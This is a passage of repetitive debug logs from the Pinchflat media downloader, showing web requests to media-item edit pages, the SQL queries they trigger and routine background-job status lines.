m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [44] 23:20:31.317 [debug] QUERY OK source="settings" db=0.2ms idle=1805.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:20:31.317 [debug] QUERY OK source="settings" db=0.1ms idle=1806.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:20:31.318 [debug] QUERY OK source="settings" db=0.2ms idle=935.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:20:31.321 [info] Sent 200 in 5ms 23:20:59.066 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.035 [info] {"source":"oban","duration":128,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:21:05.306 [info] GET /sources/1/media/36/edit 23:21:05.306 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "36", "source_id" => "1"} Pipelines: [:browser] 23:21:05.307 [debug] QUERY OK source="media_items" db=0.3ms idle=1796.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [36] 23:21:05.308 [debug] QUERY OK source="settings" db=0.2ms idle=856.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:21:05.308 [debug] QUERY OK source="settings" db=0.1ms idle=797.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:21:05.309 [debug] QUERY OK source="settings" db=0.1ms idle=798.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:21:05.311 [info] Sent 200 in 4ms 23:21:29.068 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:35.334 [info] GET /sources/1/media/69/edit 23:21:35.334 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "69", "source_id" => "1"} Pipelines: [:browser] 23:21:35.335 [debug] QUERY OK source="media_items" db=0.3ms idle=822.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [69] 23:21:35.336 [debug] QUERY OK source="settings" db=0.2ms idle=823.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:21:35.336 [debug] QUERY OK source="settings" db=0.2ms idle=824.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:21:35.337 [debug] QUERY OK source="settings" db=0.4ms idle=825.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:21:35.339 [info] Sent 200 in 5ms 23:21:59.070 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.036 [info] {"source":"oban","duration":195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:22:03.496 [info] GET /sources/2/media/70/edit 23:22:03.497 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "70", "source_id" => "2"} Pipelines: [:browser] 23:22:03.497 [debug] QUERY OK source="media_items" db=0.3ms idle=1929.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [70] 23:22:03.498 [debug] QUERY OK source="settings" db=0.3ms idle=986.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:22:03.499 [debug] QUERY OK source="settings" db=0.1ms idle=986.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:22:03.500 [debug] QUERY OK source="settings" db=0.3ms idle=987.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:22:03.502 [info] Sent 200 in 5ms 23:22:29.072 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:59.074 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.037 [info] {"source":"oban","duration":163,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:23:29.075 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:59.076 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.038 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:24:29.077 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:59.078 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.039 [info] {"source":"oban","duration":111,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:25:11.201 [info] GET /sources/1/media/91/edit 23:25:11.201 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91", "source_id" => "1"} Pipelines: [:browser] 23:25:11.201 [debug] QUERY OK source="media_items" db=0.1ms idle=1355.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91] 23:25:11.201 [debug] QUERY OK source="settings" db=0.0ms idle=689.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:11.202 [debug] QUERY OK source="settings" db=0.0ms idle=689.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:11.202 [debug] QUERY OK source="settings" db=0.0ms idle=690.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:11.202 [info] Sent 200 in 1ms 23:25:16.872 [info] GET /sources/1/media/75/edit 23:25:16.872 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "75", "source_id" => "1"} Pipelines: [:browser] 23:25:16.873 [debug] QUERY OK source="media_items" db=0.1ms idle=360.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [75] 23:25:16.873 [debug] QUERY OK source="settings" db=0.0ms idle=361.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:16.873 [debug] QUERY OK source="settings" db=0.0ms idle=361.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:16.874 [debug] QUERY OK source="settings" db=0.0ms idle=362.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:16.874 [info] Sent 200 in 2ms 23:25:21.987 [info] GET /sources/1/media/99/edit 23:25:21.988 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "99", "source_id" => "1"} Pipelines: [:browser] 23:25:21.988 [debug] QUERY OK source="media_items" db=0.1ms idle=1476.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [99] 23:25:21.988 [debug] QUERY OK source="settings" db=0.0ms idle=1476.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:21.988 [debug] QUERY OK source="settings" db=0.0ms idle=1476.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:21.989 [debug] QUERY OK source="settings" db=0.1ms idle=1131.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:21.990 [info] Sent 200 in 2ms 23:25:26.449 [info] GET /sources/1/media/74/edit 23:25:26.449 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "74", "source_id" => "1"} Pipelines: [:browser] 23:25:26.449 [debug] QUERY OK source="media_items" db=0.1ms idle=937.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [74] 23:25:26.450 [debug] QUERY OK source="settings" db=0.0ms idle=937.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:26.450 [debug] QUERY OK source="settings" db=0.0ms idle=938.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:26.450 [debug] QUERY OK source="settings" db=0.0ms idle=938.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:26.451 [info] Sent 200 in 1ms 23:25:29.079 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:30.548 [info] GET /sources/2/media/73/edit 23:25:30.548 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "73", "source_id" => "2"} Pipelines: [:browser] 23:25:30.548 [debug] QUERY OK source="media_items" db=0.1ms idle=1036.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [73] 23:25:30.549 [debug] QUERY OK source="settings" db=0.0ms idle=1036.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:30.549 [debug] QUERY OK source="settings" db=0.0ms idle=1036.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:30.549 [debug] QUERY OK source="settings" db=0.0ms idle=681.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:30.549 [info] Sent 200 in 1ms 23:25:34.127 [info] GET /sources/1/media/25/edit 23:25:34.127 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "25", "source_id" => "1"} Pipelines: [:browser] 23:25:34.128 [debug] QUERY OK source="media_items" db=0.1ms idle=1616.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [25] 23:25:34.128 [debug] QUERY OK source="settings" db=0.0ms idle=1616.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:34.128 [debug] QUERY OK source="settings" db=0.0ms idle=1616.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:34.129 [debug] QUERY OK source="settings" db=0.0ms idle=1258.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:34.129 [info] Sent 200 in 1ms 23:25:37.474 [info] GET /sources/1/media/95/edit 23:25:37.474 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "95", "source_id" => "1"} Pipelines: [:browser] 23:25:37.474 [debug] QUERY OK source="media_items" db=0.1ms idle=1962.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [95] 23:25:37.475 [debug] QUERY OK source="settings" db=0.0ms idle=1962.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:37.475 [debug] QUERY OK source="settings" db=0.3ms idle=1963.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:37.475 [debug] QUERY OK source="settings" db=0.0ms idle=1602.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:37.476 [info] Sent 200 in 2ms 23:25:40.605 [info] GET /sources/1/media/51/edit 23:25:40.605 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "51", "source_id" => "1"} Pipelines: [:browser] 23:25:40.605 [debug] QUERY OK source="media_items" db=0.1ms idle=727.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 23:25:40.605 [debug] QUERY OK source="settings" db=0.0ms idle=93.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:40.605 [debug] QUERY OK source="settings" db=0.0ms idle=93.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:40.606 [debug] QUERY OK source="settings" db=0.0ms idle=93.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:40.606 [info] Sent 200 in 1ms 23:25:43.284 [info] GET /sources/1/media/58/edit 23:25:43.284 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "58", "source_id" => "1"} Pipelines: [:browser] 23:25:43.284 [debug] QUERY OK source="media_items" db=0.1ms idle=772.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [58] 23:25:43.284 [debug] QUERY OK source="settings" db=0.1ms idle=772.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:43.285 [debug] QUERY OK source="settings" db=0.0ms idle=773.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:43.285 [debug] QUERY OK source="settings" db=0.0ms idle=773.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:25:43.285 [info] Sent 200 in 1ms 23:25:45.742 [info] GET /sources/1/media/90/edit 23:25:45.742 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90", "source_id" => "1"} Pipelines: [:browser] 23:25:45.743 [debug] QUERY OK source="media_items" db=0.1ms idle=1231.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90] 23:25:45.743 [debug] QUERY OK source="settings" db=0.1ms idle=1231.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", 